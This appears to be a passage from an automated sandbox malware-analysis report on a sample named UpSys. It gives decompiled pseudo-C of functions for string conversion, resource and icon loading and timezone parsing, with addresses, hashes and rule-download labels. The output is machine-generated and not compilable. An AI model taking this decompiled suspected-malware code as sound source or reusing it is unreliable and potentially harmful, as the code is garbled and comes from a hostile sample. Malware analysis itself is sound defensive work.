				_t189 = (_t151 - _t191 >> 1) + 1;
				_t152 = _t196 + 0x40;
				r9d = __edi;
				 *((long long*)(_t196 + 0x38)) = _t152;
				 *((long long*)(_t196 + 0x30)) = _t205;
				 *((intOrPtr*)(_t196 + 0x28)) = __edi;
				 *((long long*)(_t196 + 0x20)) = _t203;
				WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				if (_t152 == _t205) goto 0x4002897f;
				if ( *((intOrPtr*)(_t196 + 0x40)) != r14d) goto 0x4002897f;
				if ( *((intOrPtr*)(_t203 + _t152 - 1)) != r14b) goto 0x40028a30;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028bf7;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				goto 0x40028bf7;
				 *((long long*)(_t196 + 0x38)) = _t196 + 0x40;
				 *((long long*)(_t196 + 0x30)) = _t205;
				r9d = _t94;
				 *((intOrPtr*)(_t196 + 0x28)) = __edi;
				 *((long long*)(_t196 + 0x20)) = _t203;
				_t194 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				if (_t194 == _t205) goto 0x40028a93;
				if ( *((intOrPtr*)(_t196 + 0x40)) != r14d) goto 0x40028bd6;
				goto 0x40028a30;
				if ( *((intOrPtr*)(_t196 + 0x40)) != r14d) goto 0x40028bd6;
				if (GetLastError() != 0x7a) goto 0x40028bd6;
				if (_t194 - _t189 >= 0) goto 0x40028b65;
				r9d = 1;
				 *((long long*)(_t196 + 0x38)) = _t196 + 0x40;
				 *((long long*)(_t196 + 0x30)) = _t205;
				 *((intOrPtr*)(_t196 + 0x28)) =  *((intOrPtr*)(_t204 + 0x10c));
				 *((long long*)(_t196 + 0x20)) = _t196 + 0x68;
				_t87 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				if (_t87 == r14d) goto 0x40028bd6;
				if ( *((intOrPtr*)(_t196 + 0x40)) != r14d) goto 0x40028bd6;
				if (_t87 - r14d < 0) goto 0x40028bd6;
				if (_t87 - 5 > 0) goto 0x40028bd6;
				_t184 = _t87;
				if (_t184 + _t194 - _t189 > 0) goto 0x40028b65;
				_t175 = _t205;
				if (_t184 - _t205 <= 0) goto 0x40028b41;
				_t88 =  *((intOrPtr*)(_t196 + _t175 + 0x68));
				 *((char*)(_t203 + _t194)) = _t88;
				if (_t88 == r14b) goto 0x40028b4a;
				if (_t175 + 1 - _t184 < 0) goto 0x40028b29;
				goto 0x40028aad;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028b5d;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				goto 0x40028bf7;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028b5d;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				goto 0x40028b5d;
				_t161 =  *((intOrPtr*)(_t196 + 0x48));
				if ( *((intOrPtr*)(_t161 + 0x14)) != r14d) goto 0x40028b92;
				E00000001140016A44(_t88,  &(_t191[1]));
				goto 0x40028a30;
				 *((long long*)(_t196 + 0x38)) = _t196 + 0x40;
				 *((long long*)(_t196 + 0x30)) = _t205;
				r9d = _t94;
				 *((intOrPtr*)(_t196 + 0x28)) = r14d;
				 *((long long*)(_t196 + 0x20)) = _t205;
				WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				if (_t161 == _t205) goto 0x40028bd6;
				if ( *((intOrPtr*)(_t196 + 0x40)) != r14d) goto 0x40028bd6;
				_t162 = _t161 - 1;
				goto 0x40028a30;
				E0000000114001EAE4( *((intOrPtr*)(_t196 + 0x40)) - r14d, _t162);
				 *_t162 = 0x2a;
				if ( *((intOrPtr*)(_t196 + 0x60)) == r14b) goto 0x40028bf4;
				 *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) =  *( *((intOrPtr*)(_t196 + 0x58)) + 0xc8) & 0xfffffffd;
				return E00000001140028D30( *((intOrPtr*)(_t161 + 4)), _t165 + 0x00000001 | 0xffffffffffffffff,  *(_t196 + 0x70) ^ _t196, __r9);
			}































                                                                                                                                                                                                        0x14002889c
                                                                                                                                                                                                        0x1400288ae
                                                                                                                                                                                                        0x1400288b5
                                                                                                                                                                                                        0x1400288b8
                                                                                                                                                                                                        0x1400288bd
                                                                                                                                                                                                        0x1400288c0
                                                                                                                                                                                                        0x1400288c3
                                                                                                                                                                                                        0x1400288c6
                                                                                                                                                                                                        0x1400288c9
                                                                                                                                                                                                        0x1400288cc
                                                                                                                                                                                                        0x1400288d4
                                                                                                                                                                                                        0x1400288d9
                                                                                                                                                                                                        0x1400288dd
                                                                                                                                                                                                        0x1400288e5
                                                                                                                                                                                                        0x1400288e7
                                                                                                                                                                                                        0x1400288ec
                                                                                                                                                                                                        0x1400288ef
                                                                                                                                                                                                        0x1400288f6
                                                                                                                                                                                                        0x1400288fb
                                                                                                                                                                                                        0x140028901
                                                                                                                                                                                                        0x140028906
                                                                                                                                                                                                        0x14002890a
                                                                                                                                                                                                        0x140028917
                                                                                                                                                                                                        0x14002891f
                                                                                                                                                                                                        0x140028925
                                                                                                                                                                                                        0x14002892e
                                                                                                                                                                                                        0x140028933
                                                                                                                                                                                                        0x140028941
                                                                                                                                                                                                        0x140028945
                                                                                                                                                                                                        0x14002894c
                                                                                                                                                                                                        0x140028954
                                                                                                                                                                                                        0x14002895c
                                                                                                                                                                                                        0x14002895e
                                                                                                                                                                                                        0x140028968
                                                                                                                                                                                                        0x140028973
                                                                                                                                                                                                        0x14002897a
                                                                                                                                                                                                        0x14002897f
                                                                                                                                                                                                        0x140028984
                                                                                                                                                                                                        0x14002898f
                                                                                                                                                                                                        0x14002899a
                                                                                                                                                                                                        0x1400289a1
                                                                                                                                                                                                        0x1400289ae
                                                                                                                                                                                                        0x1400289b7
                                                                                                                                                                                                        0x1400289b9
                                                                                                                                                                                                        0x1400289bf
                                                                                                                                                                                                        0x1400289c3
                                                                                                                                                                                                        0x1400289c5
                                                                                                                                                                                                        0x1400289cd
                                                                                                                                                                                                        0x1400289d2
                                                                                                                                                                                                        0x1400289d8
                                                                                                                                                                                                        0x1400289e3
                                                                                                                                                                                                        0x1400289ea
                                                                                                                                                                                                        0x1400289ef
                                                                                                                                                                                                        0x1400289f2
                                                                                                                                                                                                        0x1400289f7
                                                                                                                                                                                                        0x140028a01
                                                                                                                                                                                                        0x140028a05
                                                                                                                                                                                                        0x140028a0a
                                                                                                                                                                                                        0x140028a15
                                                                                                                                                                                                        0x140028a20
                                                                                                                                                                                                        0x140028a2b
                                                                                                                                                                                                        0x140028a35
                                                                                                                                                                                                        0x140028a40
                                                                                                                                                                                                        0x140028a47
                                                                                                                                                                                                        0x140028a59
                                                                                                                                                                                                        0x140028a5e
                                                                                                                                                                                                        0x140028a63
                                                                                                                                                                                                        0x140028a6b
                                                                                                                                                                                                        0x140028a6f
                                                                                                                                                                                                        0x140028a7a
                                                                                                                                                                                                        0x140028a80
                                                                                                                                                                                                        0x140028a87
                                                                                                                                                                                                        0x140028a91
                                                                                                                                                                                                        0x140028a98
                                                                                                                                                                                                        0x140028aa7
                                                                                                                                                                                                        0x140028ab0
                                                                                                                                                                                                        0x140028abf
                                                                                                                                                                                                        0x140028ac5
                                                                                                                                                                                                        0x140028ad1
                                                                                                                                                                                                        0x140028ad6
                                                                                                                                                                                                        0x140028ae4
                                                                                                                                                                                                        0x140028ae9
                                                                                                                                                                                                        0x140028af2
                                                                                                                                                                                                        0x140028afd
                                                                                                                                                                                                        0x140028b06
                                                                                                                                                                                                        0x140028b0f
                                                                                                                                                                                                        0x140028b15
                                                                                                                                                                                                        0x140028b1f
                                                                                                                                                                                                        0x140028b24
                                                                                                                                                                                                        0x140028b27
                                                                                                                                                                                                        0x140028b29
                                                                                                                                                                                                        0x140028b2d
                                                                                                                                                                                                        0x140028b34
                                                                                                                                                                                                        0x140028b3f
                                                                                                                                                                                                        0x140028b45
                                                                                                                                                                                                        0x140028b4f
                                                                                                                                                                                                        0x140028b56
                                                                                                                                                                                                        0x140028b60
                                                                                                                                                                                                        0x140028b6a
                                                                                                                                                                                                        0x140028b71
                                                                                                                                                                                                        0x140028b78
                                                                                                                                                                                                        0x140028b7a
                                                                                                                                                                                                        0x140028b83
                                                                                                                                                                                                        0x140028b88
                                                                                                                                                                                                        0x140028b8d
                                                                                                                                                                                                        0x140028b9e
                                                                                                                                                                                                        0x140028ba6
                                                                                                                                                                                                        0x140028bab
                                                                                                                                                                                                        0x140028bb0
                                                                                                                                                                                                        0x140028bb5
                                                                                                                                                                                                        0x140028bba
                                                                                                                                                                                                        0x140028bc5
                                                                                                                                                                                                        0x140028bcc
                                                                                                                                                                                                        0x140028bce
                                                                                                                                                                                                        0x140028bd1
                                                                                                                                                                                                        0x140028bd6
                                                                                                                                                                                                        0x140028bdb
                                                                                                                                                                                                        0x140028be6
                                                                                                                                                                                                        0x140028bed
                                                                                                                                                                                                        0x140028c15

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2918714741-0
                                                                                                                                                                                                        • Opcode ID: 86e6786f733fb842548274f3bf27955352d2747d89d566a935b1cb4c748c1087
                                                                                                                                                                                                        • Instruction ID: 7dcaa47736c73d309cc9e5f742753eee92ed3087db715fc2f071410bdd7ab61c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 86e6786f733fb842548274f3bf27955352d2747d89d566a935b1cb4c748c1087
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3991B9762066C086EA738F16E4403AAB7A5F7497E0F14421EFF9917AF5DB38C881CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140040420 Relevance: 12.1, APIs: 8, Instructions: 93COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 25%
                                                                                                                                                                                                        			E00000001140040420(intOrPtr __ebx, void* __edx, void* __eflags, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9) {
				void* _v24;
				char _v40;
				char _v56;
				intOrPtr _v72;
				intOrPtr _v80;
				intOrPtr _v88;
				void* _t26;
				intOrPtr _t38;
				intOrPtr _t45;
				long long _t57;
				signed char* _t86;
				long long _t91;
				WCHAR* _t97;
				WCHAR* _t100;
				struct HINSTANCE__* _t103;

				_t95 = __r9;
				_t38 = __ebx;
				_t57 = _t91;
				 *((long long*)(_t57 + 8)) = __rbx;
				 *((long long*)(_t57 + 0x10)) = __rbp;
				 *((long long*)(_t57 + 0x18)) = __rsi;
				 *((long long*)(_t57 + 0x20)) = __rdi;
				E000000011400178DC(_t57, _t57 - 0x38, L"%d", __r8, __r9);
				r8d = _t38;
				E000000011400178DC(_t57,  &_v40, L"%d", __r8, _t95);
				_t26 = E00000001140016D8C(_t57,  &_v40,  &_v56);
				r14d = 0;
				if (_t26 == r14d) goto 0x4004048a;
				goto 0x4004056b;
				r8d = 0xe;
				FindResourceW(_t103, _t100, _t97);
				LoadResource(??, ??);
				LockResource(??);
				if (r14w -  *(_t57 + 4) >= 0) goto 0x40040569;
				_t11 = _t57 + 6; // 0x6
				_t86 = _t11;
				r8d = 3;
				FindResourceW(??, ??, ??);
				LoadResource(??, ??);
				SizeofResource(??, ??);
				LockResource(??);
				r8d =  *0x400b5508;
				if (( *_t86 & 0x000000ff) != r8d) goto 0x4004052b;
				_t45 =  *0x400b5504;
				if ((_t86[1] & 0x000000ff) != _t45) goto 0x4004052b;
				if ((_t86[6] & 0x0000ffff) ==  *0x400b5500) goto 0x4004053d;
				if (r14d + 1 - ( *(_t57 + 4) & 0x0000ffff) < 0) goto 0x400404c6;
				goto 0x40040569;
				_v72 = r14d;
				_v80 = _t45;
				_v88 = r8d;
				r8d = 1;
				r9d = 0x30000;
				CreateIconFromResourceEx(??, ??, ??, ??, ??, ??, ??);
				 *0x400b5510 = _t57;
				return 0;
			}


















                                                                                                                                                                                                        0x140040420
                                                                                                                                                                                                        0x140040420
                                                                                                                                                                                                        0x140040420
                                                                                                                                                                                                        0x140040423
                                                                                                                                                                                                        0x140040427
                                                                                                                                                                                                        0x14004042b
                                                                                                                                                                                                        0x14004042f
                                                                                                                                                                                                        0x140040451
                                                                                                                                                                                                        0x140040462
                                                                                                                                                                                                        0x140040465
                                                                                                                                                                                                        0x140040474
                                                                                                                                                                                                        0x140040479
                                                                                                                                                                                                        0x14004047f
                                                                                                                                                                                                        0x140040485
                                                                                                                                                                                                        0x14004048a
                                                                                                                                                                                                        0x140040496
                                                                                                                                                                                                        0x1400404a2
                                                                                                                                                                                                        0x1400404ab
                                                                                                                                                                                                        0x1400404bc
                                                                                                                                                                                                        0x1400404c2
                                                                                                                                                                                                        0x1400404c2
                                                                                                                                                                                                        0x1400404ca
                                                                                                                                                                                                        0x1400404d3
                                                                                                                                                                                                        0x1400404e2
                                                                                                                                                                                                        0x1400404f1
                                                                                                                                                                                                        0x1400404fc
                                                                                                                                                                                                        0x140040505
                                                                                                                                                                                                        0x14004050f
                                                                                                                                                                                                        0x140040515
                                                                                                                                                                                                        0x14004051d
                                                                                                                                                                                                        0x140040529
                                                                                                                                                                                                        0x140040539
                                                                                                                                                                                                        0x14004053b
                                                                                                                                                                                                        0x14004053d
                                                                                                                                                                                                        0x140040542
                                                                                                                                                                                                        0x140040546
                                                                                                                                                                                                        0x14004054b
                                                                                                                                                                                                        0x140040551
                                                                                                                                                                                                        0x14004055c
                                                                                                                                                                                                        0x140040562
                                                                                                                                                                                                        0x140040589

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Resource$FindLoadLock_errno$Sizeof
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2491097883-0
                                                                                                                                                                                                        • Opcode ID: 673f6d03bdf6c28f2b57df9b8afe8a1b56acec64d85668568eb957544679064f
                                                                                                                                                                                                        • Instruction ID: aa7e2585fb560111e5158f5ea27e0732c4985d27fc43dca75e7866dc23d6ef5f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 673f6d03bdf6c28f2b57df9b8afe8a1b56acec64d85668568eb957544679064f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C441BA32700A5082EB26DF13E858BAAB7A1F78CFC0F818026EF4A13761DA39C545CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140026784 Relevance: 10.8, APIs: 7, Instructions: 301COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E00000001140026784(void* __ebp, void* __rdx, void* __rbp, void* __r8, void* __r9, signed int _a8, signed int _a16, signed int _a24, char _a32) {
				signed int** _v72;
				long long _v80;
				signed int** _v88;
				intOrPtr _v96;
				signed int** _v104;
				void* __rbx;
				void* __rsi;
				void* _t56;
				void* _t68;
				intOrPtr _t75;
				void* _t80;
				void* _t81;
				char _t86;
				signed int _t87;
				intOrPtr _t89;
				void* _t91;
				intOrPtr _t92;
				signed int _t94;
				void* _t96;
				void* _t97;
				void* _t98;
				signed int _t111;
				signed int _t112;
				signed int _t123;
				signed int _t124;
				void* _t131;
				void* _t150;
				void* _t151;
				signed int** _t175;
				signed int* _t183;
				signed int* _t184;
				void* _t185;
				signed int** _t190;
				signed int** _t192;
				signed int** _t196;
				signed int** _t197;
				signed int** _t207;
				char* _t208;
				char* _t209;
				intOrPtr* _t210;
				char* _t211;
				intOrPtr* _t212;
				char* _t213;
				void* _t215;
				signed int** _t217;
				signed int** _t229;
				signed int** _t230;
				void* _t231;

				_t220 = __r8;
				_t216 = __rbp;
				_t204 = __rdx;
				_t175 = _t217;
				r14d = 0;
				r13d = r14d;
				_t175[1] = r14d;
				_t175[2] = r14d;
				_t175[3] = r14d;
				E0000000114001F1BC();
				E00000001140027590(_t56);
				_t229 = _t175;
				if (E00000001140027538(_t175, _t185,  &_a8, __rdx, _t215, __rbp, __r8) == r14d) goto 0x400267e3;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, __rdx, __r8);
				if (E000000011400274B8(_t175, _t185,  &_a16, _t204, _t215, __rbp, _t220) == r14d) goto 0x40026809;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t204, _t220);
				if (E000000011400274F8(_t175, _t185,  &_a24, _t204, _t215, __rbp, _t220) == r14d) goto 0x4002682f;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t204, _t220);
				E00000001140029E04(_t131, r14d, E000000011400274F8(_t175, _t185,  &_a24, _t204, _t215, __rbp, _t220) - r14d, _t175, _t204, _t215);
				 *0x400b4c2c = r14d;
				r15d = r15d | 0xffffffff;
				 *0x400ae880 = r15d;
				 *0x400ae870 = r15d;
				E0000000114002D9DC(_t175, _t185, 0x40099f68, _t215);
				_t207 = _t175;
				_v72 = _t175;
				if (_t175 == _t230) goto 0x4002690f;
				if ( *_t175 == r14b) goto 0x4002690f;
				_t190 =  *0x400b4c30; // 0x0
				if (_t190 == _t230) goto 0x400268a1;
				if (E00000001140019A60(0, _t175, _t190) != r14d) goto 0x4002689a;
				goto 0x40026a6e;
				_t192 =  *0x400b4c30; // 0x0
				if (_t192 == _t230) goto 0x400268ab;
				free(??);
				E00000001140017C00(_t66, _t207);
				_t13 =  &(_t175[0]); // 0x1
				_t68 = E0000000114001D910(__ebp, _t175, _t185, _t13, _t215, __rbp);
				 *0x400b4c30 = _t175;
				if (_t175 != _t230) goto 0x400268d2;
				goto 0x40026a6e;
				E00000001140017C00(_t68, _t207);
				_t14 =  &(_t175[0]); // 0x1
				_t206 = _t14;
				_t196 =  *0x400b4c30; // 0x0
				if (E00000001140029FA0(_t175, _t196, _t14, _t215, _t216, _t207) == r14d) goto 0x40026a6e;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t14, _t207);
				goto 0x40026a6e;
				_t197 =  *0x400b4c30; // 0x0
				if (_t197 == _t230) goto 0x40026927;
				free(??);
				 *0x400b4c30 = _t230;
				if (GetTimeZoneInformation(??) == 0xffffffff) goto 0x40026a69;
				 *0x400b4c2c = 1;
				_t111 =  *0x400b4b80; // 0x0
				_t112 = _t111 * 0x3c;
				_a8 = _t112;
				_t150 =  *0x400b4bc6 - r14w; // 0x0
				if (_t150 == 0) goto 0x40026977;
				_t123 =  *0x400b4bd4; // 0x0
				_a8 = _t112 + _t123 * 0x3c;
				goto 0x4002697d;
				_t124 =  *0x400b4bd4; // 0x0
				_t151 =  *0x400b4c1a - r14w; // 0x0
				if (_t151 == 0) goto 0x400269ab;
				_t75 =  *0x400b4c28; // 0x0
				if (_t75 == r14d) goto 0x400269ab;
				_a16 = 1;
				_a24 = (_t75 - _t124) * 0x3c;
				goto 0x400269bb;
				_a16 = r14d;
				_a24 = r14d;
				_v80 =  &_a32;
				_v88 = _t230;
				_v96 = 0x3f;
				_v104 =  *_t229;
				r9d = r15d;
				if (WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??) == r14d) goto 0x40026a0c;
				if (_a32 != r14d) goto 0x40026a0c;
				( *_t229)[0xf] = r14b;
				goto 0x40026a13;
				 *( *_t229) = r14b;
				_v80 =  &_a32;
				_v88 = _t230;
				_v96 = 0x3f;
				_v104 = _t229[1];
				r9d = r15d;
				if (WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??) == r14d) goto 0x40026a61;
				if (_a32 != r14d) goto 0x40026a61;
				_t229[1][0xf] = r14b;
				goto 0x40026a69;
				_t183 = _t229[1];
				 *_t183 = r14b;
				_t80 = E00000001140027588(_t79);
				 *_t183 = _a8;
				_t81 = E00000001140027578(_t80);
				 *_t183 = _a16;
				E00000001140027580(_t81);
				 *_t183 = _a24;
				E0000000114001F0BC();
				if (1 != r14d) goto 0x40026c12;
				r15d = 3;
				if (E00000001140029EC8(_t183,  *_t229, _t14, _t215, _t216, _t207, _t231) == r14d) goto 0x40026add;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				E0000000114001E8EC(0, _t14, _t207);
				_t208 = _t207 + _t231;
				if ( *_t208 != 0x2d) goto 0x40026aee;
				r13d = 1;
				_t209 = _t208 + 1;
				r11d = E0000000114002D9D0(_t183, _t185, _t209, _t206, _t215);
				r11d = r11d * 0xe10;
				_a8 = r11d;
				sil = 0x39;
				_t86 =  *_t209;
				if (_t86 == 0x2b) goto 0x40026c0a;
				if (_t86 - 0x30 < 0) goto 0x40026b24;
				if (_t86 - sil <= 0) goto 0x40026c0a;
				if ( *_t209 != 0x3a) goto 0x40026b95;
				_t210 = _t209 + 1;
				_t87 = E0000000114002D9D0(_t183, _t185, _t210, _t206, _t215);
				r11d = _a8;
				r11d = r11d + _t87 * 0x3c;
				_a8 = r11d;
				_t89 =  *_t210;
				if (_t89 - 0x30 < 0) goto 0x40026b5e;
				if (_t89 - sil > 0) goto 0x40026b5e;
				_t211 = _t210 + 1;
				if ( *_t211 - 0x30 >= 0) goto 0x40026b50;
				if ( *_t211 != 0x3a) goto 0x40026b95;
				_t212 = _t211 + 1;
				_t91 = E0000000114002D9D0(_t183, _t185, _t212, _t206, _t215);
				r11d = _a8;
				r11d = r11d + _t91;
				_a8 = r11d;
				_t92 =  *_t212;
				if (_t92 - 0x30 < 0) goto 0x40026b95;
				if (_t92 - sil > 0) goto 0x40026b95;
				_t213 = _t212 + 1;
				if ( *_t213 - 0x30 >= 0) goto 0x40026b87;
				if (r13d == r14d) goto 0x40026ba5;
				r11d =  ~r11d;
				_a8 = r11d;
				_t94 =  *_t213;
				_a16 = _t94;
				if (_t94 == r14d) goto 0x40026be4;
				if (E00000001140029EC8(_t183, _t229[1], _t206, _t215, _t216, _t213, _t231) == r14d) goto 0x40026bec;
				_v104 = _t230;
				r9d = 0;
				r8d = 0;
				_t96 = E0000000114001E8EC(0, _t206, _t213);
				goto 0x40026bec;
				_t184 = _t229[1];
				 *_t184 = r14b;
				_t97 = E00000001140027588(_t96);
				 *_t184 = _a8;
				_t98 = E00000001140027578(_t97);
				 *_t184 = _a16;
				goto 0x40026c12;
				goto 0x40026b0d;
				return _t98;
			}



















































                                                                                                                                                                                                        0x140026784
                                                                                                                                                                                                        0x140026784
                                                                                                                                                                                                        0x140026784
                                                                                                                                                                                                        0x140026784
                                                                                                                                                                                                        0x140026796
                                                                                                                                                                                                        0x140026799
                                                                                                                                                                                                        0x14002679f
                                                                                                                                                                                                        0x1400267a3
                                                                                                                                                                                                        0x1400267a7
                                                                                                                                                                                                        0x1400267af
                                                                                                                                                                                                        0x1400267b5
                                                                                                                                                                                                        0x1400267ba
                                                                                                                                                                                                        0x1400267cd
                                                                                                                                                                                                        0x1400267cf
                                                                                                                                                                                                        0x1400267d4
                                                                                                                                                                                                        0x1400267d7
                                                                                                                                                                                                        0x1400267de
                                                                                                                                                                                                        0x1400267f3
                                                                                                                                                                                                        0x1400267f5
                                                                                                                                                                                                        0x1400267fa
                                                                                                                                                                                                        0x1400267fd
                                                                                                                                                                                                        0x140026804
                                                                                                                                                                                                        0x140026819
                                                                                                                                                                                                        0x14002681b
                                                                                                                                                                                                        0x140026820
                                                                                                                                                                                                        0x140026823
                                                                                                                                                                                                        0x14002682a
                                                                                                                                                                                                        0x14002682f
                                                                                                                                                                                                        0x140026836
                                                                                                                                                                                                        0x14002683d
                                                                                                                                                                                                        0x140026841
                                                                                                                                                                                                        0x140026848
                                                                                                                                                                                                        0x140026856
                                                                                                                                                                                                        0x14002685b
                                                                                                                                                                                                        0x14002685e
                                                                                                                                                                                                        0x140026866
                                                                                                                                                                                                        0x14002686f
                                                                                                                                                                                                        0x140026875
                                                                                                                                                                                                        0x14002687f
                                                                                                                                                                                                        0x14002688f
                                                                                                                                                                                                        0x140026895
                                                                                                                                                                                                        0x14002689a
                                                                                                                                                                                                        0x1400268a4
                                                                                                                                                                                                        0x1400268a6
                                                                                                                                                                                                        0x1400268ae
                                                                                                                                                                                                        0x1400268b3
                                                                                                                                                                                                        0x1400268b7
                                                                                                                                                                                                        0x1400268bc
                                                                                                                                                                                                        0x1400268c6
                                                                                                                                                                                                        0x1400268cd
                                                                                                                                                                                                        0x1400268d5
                                                                                                                                                                                                        0x1400268dd
                                                                                                                                                                                                        0x1400268dd
                                                                                                                                                                                                        0x1400268e1
                                                                                                                                                                                                        0x1400268f0
                                                                                                                                                                                                        0x1400268f6
                                                                                                                                                                                                        0x1400268fb
                                                                                                                                                                                                        0x1400268fe
                                                                                                                                                                                                        0x140026905
                                                                                                                                                                                                        0x14002690a
                                                                                                                                                                                                        0x14002690f
                                                                                                                                                                                                        0x140026919
                                                                                                                                                                                                        0x14002691b
                                                                                                                                                                                                        0x140026920
                                                                                                                                                                                                        0x140026937
                                                                                                                                                                                                        0x14002693d
                                                                                                                                                                                                        0x140026947
                                                                                                                                                                                                        0x14002694d
                                                                                                                                                                                                        0x140026950
                                                                                                                                                                                                        0x140026957
                                                                                                                                                                                                        0x14002695f
                                                                                                                                                                                                        0x140026961
                                                                                                                                                                                                        0x14002696e
                                                                                                                                                                                                        0x140026975
                                                                                                                                                                                                        0x140026977
                                                                                                                                                                                                        0x14002697d
                                                                                                                                                                                                        0x140026985
                                                                                                                                                                                                        0x140026987
                                                                                                                                                                                                        0x140026990
                                                                                                                                                                                                        0x140026992
                                                                                                                                                                                                        0x1400269a2
                                                                                                                                                                                                        0x1400269a9
                                                                                                                                                                                                        0x1400269ab
                                                                                                                                                                                                        0x1400269b3
                                                                                                                                                                                                        0x1400269c3
                                                                                                                                                                                                        0x1400269c8
                                                                                                                                                                                                        0x1400269d2
                                                                                                                                                                                                        0x1400269da
                                                                                                                                                                                                        0x1400269df
                                                                                                                                                                                                        0x1400269f6
                                                                                                                                                                                                        0x140026a00
                                                                                                                                                                                                        0x140026a06
                                                                                                                                                                                                        0x140026a0a
                                                                                                                                                                                                        0x140026a10
                                                                                                                                                                                                        0x140026a1b
                                                                                                                                                                                                        0x140026a20
                                                                                                                                                                                                        0x140026a25
                                                                                                                                                                                                        0x140026a2e
                                                                                                                                                                                                        0x140026a33
                                                                                                                                                                                                        0x140026a4a
                                                                                                                                                                                                        0x140026a54
                                                                                                                                                                                                        0x140026a5b
                                                                                                                                                                                                        0x140026a5f
                                                                                                                                                                                                        0x140026a61
                                                                                                                                                                                                        0x140026a66
                                                                                                                                                                                                        0x140026a75
                                                                                                                                                                                                        0x140026a7a
                                                                                                                                                                                                        0x140026a83
